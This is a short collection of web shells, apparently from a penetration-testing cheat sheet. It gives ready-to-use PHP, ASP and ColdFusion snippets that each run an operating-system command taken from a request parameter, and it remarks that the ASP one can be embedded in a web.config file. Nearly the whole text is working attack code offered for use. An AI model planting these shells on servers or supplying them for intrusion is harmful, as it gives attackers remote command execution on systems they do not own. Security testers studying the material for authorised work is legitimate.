Webshell collection
PHP
On the PHP page there is other functions to execute code:
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
ASP
<%
Response.write("<pre>")
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c " & Request.QueryString("cmd"))
o = cmd.StdOut.Readall()
Response.write(o)
Response.write("</pre>")
%>
This payload can be include on a web.config
file
ColdFusion
<cfsavecontent variable="cmdOutput">
<cfexecute name="C:\Windows\System32\cmd.exe" arguments="/c #Request.cmd#" timeout="10"></cfexecute>
</cfsavecontent>
<pre>
#HTMLCodeFormat(cmdOutput)#
</pre>